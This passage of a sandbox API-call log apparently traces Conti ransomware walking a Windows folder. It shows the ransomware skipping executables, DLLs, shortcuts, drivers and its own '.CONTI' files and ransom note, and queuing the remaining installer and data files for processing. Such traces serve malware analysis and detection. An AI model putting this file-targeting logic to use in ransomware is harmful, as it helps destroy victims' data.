	[0094.004] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="header.bmp" | out: lpString1="C:\\588bce7c90097ed212\\header.bmp") returned="C:\\588bce7c90097ed212\\header.bmp"
	[0094.004] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d58a0) returned 1
	[0094.004] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0094.004] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2=".") returned 1
	[0094.005] lstrcmpiW (lpString1="netfx_Core.mzz", lpString2="..") returned 1
	[0094.005] StrStrIW (lpFirst="netfx_Core.mzz", lpSrch=".CONTI") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core.mzz", lpSrch="CONTI_README.txt") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core.mzz", lpSrch=".exe") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core.mzz", lpSrch=".dll") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core.mzz", lpSrch=".lnk") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core.mzz", lpSrch=".sys") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core.mzz", lpSrch=".CONTI") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core.mzz", lpSrch="CONTI_README.txt") returned 0x0
	[0094.005] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.005] lstrlenW (lpString="netfx_Core.mzz") returned 14
	[0094.005] GetProcessHeap () returned 0x1720000
	[0094.005] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4a) returned 0x17c0018
	[0094.005] lstrcpyW (in: lpString1=0x17c0018, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.005] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.005] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="netfx_Core.mzz" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned="C:\\588bce7c90097ed212\\netfx_Core.mzz"
	[0094.005] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d51c8) returned 1
	[0094.005] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0094.005] lstrcmpiW (lpString1="netfx_Core_x64.msi", lpString2=".") returned 1
	[0094.005] lstrcmpiW (lpString1="netfx_Core_x64.msi", lpString2="..") returned 1
	[0094.005] StrStrIW (lpFirst="netfx_Core_x64.msi", lpSrch=".CONTI") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core_x64.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core_x64.msi", lpSrch=".exe") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core_x64.msi", lpSrch=".dll") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core_x64.msi", lpSrch=".lnk") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core_x64.msi", lpSrch=".sys") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core_x64.msi", lpSrch=".CONTI") returned 0x0
	[0094.005] StrStrIW (lpFirst="netfx_Core_x64.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.005] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.005] lstrlenW (lpString="netfx_Core_x64.msi") returned 18
	[0094.005] GetProcessHeap () returned 0x1720000
	[0094.005] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x52) returned 0x17c0070
	[0094.005] lstrcpyW (in: lpString1=0x17c0070, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.006] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.006] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="netfx_Core_x64.msi" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned="C:\\588bce7c90097ed212\\netfx_Core_x64.msi"
	[0094.006] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5410) returned 1
	[0094.006] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0094.006] lstrcmpiW (lpString1="netfx_Core_x86.msi", lpString2=".") returned 1
	[0094.006] lstrcmpiW (lpString1="netfx_Core_x86.msi", lpString2="..") returned 1
	[0094.006] StrStrIW (lpFirst="netfx_Core_x86.msi", lpSrch=".CONTI") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Core_x86.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Core_x86.msi", lpSrch=".exe") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Core_x86.msi", lpSrch=".dll") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Core_x86.msi", lpSrch=".lnk") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Core_x86.msi", lpSrch=".sys") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Core_x86.msi", lpSrch=".CONTI") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Core_x86.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.006] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.006] lstrlenW (lpString="netfx_Core_x86.msi") returned 18
	[0094.006] GetProcessHeap () returned 0x1720000
	[0094.006] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x52) returned 0x17c1448
	[0094.006] lstrcpyW (in: lpString1=0x17c1448, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.006] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.006] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="netfx_Core_x86.msi" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned="C:\\588bce7c90097ed212\\netfx_Core_x86.msi"
	[0094.006] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5ae8) returned 1
	[0094.006] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0094.006] lstrcmpiW (lpString1="netfx_Extended.mzz", lpString2=".") returned 1
	[0094.006] lstrcmpiW (lpString1="netfx_Extended.mzz", lpString2="..") returned 1
	[0094.006] StrStrIW (lpFirst="netfx_Extended.mzz", lpSrch=".CONTI") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Extended.mzz", lpSrch="CONTI_README.txt") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Extended.mzz", lpSrch=".exe") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Extended.mzz", lpSrch=".dll") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Extended.mzz", lpSrch=".lnk") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Extended.mzz", lpSrch=".sys") returned 0x0
	[0094.006] StrStrIW (lpFirst="netfx_Extended.mzz", lpSrch=".CONTI") returned 0x0
	[0094.007] StrStrIW (lpFirst="netfx_Extended.mzz", lpSrch="CONTI_README.txt") returned 0x0
	[0094.007] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.007] lstrlenW (lpString="netfx_Extended.mzz") returned 18
	[0094.007] GetProcessHeap () returned 0x1720000
	[0094.007] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x52) returned 0x17c0ea8
	[0094.007] lstrcpyW (in: lpString1=0x17c0ea8, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.007] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.007] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="netfx_Extended.mzz" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz"
	[0094.007] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5a00) returned 1
	[0094.007] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0094.013] lstrcmpiW (lpString1="netfx_Extended_x64.msi", lpString2=".") returned 1
	[0094.013] lstrcmpiW (lpString1="netfx_Extended_x64.msi", lpString2="..") returned 1
	[0094.013] StrStrIW (lpFirst="netfx_Extended_x64.msi", lpSrch=".CONTI") returned 0x0
	[0094.013] StrStrIW (lpFirst="netfx_Extended_x64.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.013] StrStrIW (lpFirst="netfx_Extended_x64.msi", lpSrch=".exe") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x64.msi", lpSrch=".dll") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x64.msi", lpSrch=".lnk") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x64.msi", lpSrch=".sys") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x64.msi", lpSrch=".CONTI") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x64.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.014] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.014] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22
	[0094.014] GetProcessHeap () returned 0x1720000
	[0094.014] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0cc8
	[0094.014] lstrcpyW (in: lpString1=0x17c0cc8, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.014] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.014] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="netfx_Extended_x64.msi" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi"
	[0094.014] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5570) returned 1
	[0094.014] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0094.014] lstrcmpiW (lpString1="netfx_Extended_x86.msi", lpString2=".") returned 1
	[0094.014] lstrcmpiW (lpString1="netfx_Extended_x86.msi", lpString2="..") returned 1
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x86.msi", lpSrch=".CONTI") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x86.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x86.msi", lpSrch=".exe") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x86.msi", lpSrch=".dll") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x86.msi", lpSrch=".lnk") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x86.msi", lpSrch=".sys") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x86.msi", lpSrch=".CONTI") returned 0x0
	[0094.014] StrStrIW (lpFirst="netfx_Extended_x86.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.014] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.014] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22
	[0094.015] GetProcessHeap () returned 0x1720000
	[0094.015] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0988
	[0094.015] lstrcpyW (in: lpString1=0x17c0988, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.015] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.015] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="netfx_Extended_x86.msi" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi"
	[0094.015] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5c48) returned 1
	[0094.015] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0094.015] lstrcmpiW (lpString1="ParameterInfo.xml", lpString2=".") returned 1
	[0094.015] lstrcmpiW (lpString1="ParameterInfo.xml", lpString2="..") returned 1
	[0094.015] StrStrIW (lpFirst="ParameterInfo.xml", lpSrch=".CONTI") returned 0x0
	[0094.015] StrStrIW (lpFirst="ParameterInfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0094.015] StrStrIW (lpFirst="ParameterInfo.xml", lpSrch=".exe") returned 0x0
	[0094.015] StrStrIW (lpFirst="ParameterInfo.xml", lpSrch=".dll") returned 0x0
	[0094.015] StrStrIW (lpFirst="ParameterInfo.xml", lpSrch=".lnk") returned 0x0
	[0094.015] StrStrIW (lpFirst="ParameterInfo.xml", lpSrch=".sys") returned 0x0
	[0094.015] StrStrIW (lpFirst="ParameterInfo.xml", lpSrch=".CONTI") returned 0x0
	[0094.015] StrStrIW (lpFirst="ParameterInfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0094.015] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.015] lstrlenW (lpString="ParameterInfo.xml") returned 17
	[0094.015] GetProcessHeap () returned 0x1720000
	[0094.015] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17c00d0
	[0094.015] lstrcpyW (in: lpString1=0x17c00d0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.015] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.015] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="ParameterInfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml"
	[0094.015] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5328) returned 1
	[0094.015] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0094.015] lstrcmpiW (lpString1="RGB9RAST_x64.msi", lpString2=".") returned 1
	[0094.015] lstrcmpiW (lpString1="RGB9RAST_x64.msi", lpString2="..") returned 1
	[0094.015] StrStrIW (lpFirst="RGB9RAST_x64.msi", lpSrch=".CONTI") returned 0x0
	[0094.015] StrStrIW (lpFirst="RGB9RAST_x64.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.015] StrStrIW (lpFirst="RGB9RAST_x64.msi", lpSrch=".exe") returned 0x0
	[0094.015] StrStrIW (lpFirst="RGB9RAST_x64.msi", lpSrch=".dll") returned 0x0
	[0094.016] StrStrIW (lpFirst="RGB9RAST_x64.msi", lpSrch=".lnk") returned 0x0
	[0094.016] StrStrIW (lpFirst="RGB9RAST_x64.msi", lpSrch=".sys") returned 0x0
	[0094.016] StrStrIW (lpFirst="RGB9RAST_x64.msi", lpSrch=".CONTI") returned 0x0
	[0094.016] StrStrIW (lpFirst="RGB9RAST_x64.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.016] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.016] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16
	[0094.016] GetProcessHeap () returned 0x1720000
	[0094.016] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4e) returned 0x17c0128
	[0094.016] lstrcpyW (in: lpString1=0x17c0128, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.016] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.016] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="RGB9RAST_x64.msi" | out: lpString1="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi"
	[0094.016] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c57b8) returned 1
	[0094.016] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0094.016] lstrcmpiW (lpString1="RGB9Rast_x86.msi", lpString2=".") returned 1
	[0094.016] lstrcmpiW (lpString1="RGB9Rast_x86.msi", lpString2="..") returned 1
	[0094.016] StrStrIW (lpFirst="RGB9Rast_x86.msi", lpSrch=".CONTI") returned 0x0
	[0094.016] StrStrIW (lpFirst="RGB9Rast_x86.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.016] StrStrIW (lpFirst="RGB9Rast_x86.msi", lpSrch=".exe") returned 0x0
	[0094.016] StrStrIW (lpFirst="RGB9Rast_x86.msi", lpSrch=".dll") returned 0x0
	[0094.016] StrStrIW (lpFirst="RGB9Rast_x86.msi", lpSrch=".lnk") returned 0x0
	[0094.016] StrStrIW (lpFirst="RGB9Rast_x86.msi", lpSrch=".sys") returned 0x0
	[0094.016] StrStrIW (lpFirst="RGB9Rast_x86.msi", lpSrch=".CONTI") returned 0x0
	[0094.016] StrStrIW (lpFirst="RGB9Rast_x86.msi", lpSrch="CONTI_README.txt") returned 0x0
	[0094.016] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0094.016] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16
	[0094.016] GetProcessHeap () returned 0x1720000
	[0094.016] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4e) returned 0x17bf020
	[0094.016] lstrcpyW (in: lpString1=0x17bf020, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0094.016] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0094.016] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="RGB9Rast_x86.msi" | out: lpString1="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi"
	[0094.016] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4578) returned 1
	[0094.016] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0094.017] lstrcmpiW (lpString1="Setup.exe", lpString2=".") returned 1
	[0094.017] lstrcmpiW (lpString1="Setup.exe", lpString2="..") returned 1
	[0094.017] StrStrIW (lpFirst="Setup.exe", lpSrch=".CONTI") returned 0x0
	[0094.017] StrStrIW (lpFirst="Setup.exe", lpSrch="CONTI_README.txt") returned 0x0
	[0094.017] StrStrIW (lpFirst="Setup.exe", lpSrch=".exe") returned=".exe"
	[0094.017] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0094.017] lstrcmpiW (lpString1="SetupEngine.dll", lpString2=".") returned 1
	[0094.017] lstrcmpiW (lpString1="SetupEngine.dll", lpString2="..") returned 1
	[0094.017] StrStrIW (lpFirst="SetupEngine.dll", lpSrch=".CONTI") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupEngine.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupEngine.dll", lpSrch=".exe") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupEngine.dll", lpSrch=".dll") returned=".dll"
	[0094.017] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0094.017] lstrcmpiW (lpString1="SetupUi.dll", lpString2=".") returned 1
	[0094.017] lstrcmpiW (lpString1="SetupUi.dll", lpString2="..") returned 1
	[0094.017] StrStrIW (lpFirst="SetupUi.dll", lpSrch=".CONTI") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupUi.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupUi.dll", lpSrch=".exe") returned 0x0
	[0094.017] StrStrIW (lpFirst="SetupUi.dll", lpSrch=".dll") returned=".dll"
	[0094.017] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
	[0094.017] lstrcmpiW (lpString1="SetupUi.xsd", lpString2=".") returned 1
	[0094.017] lstrcmpiW (lpString1="SetupUi.xsd", lpString2="..") returned 1
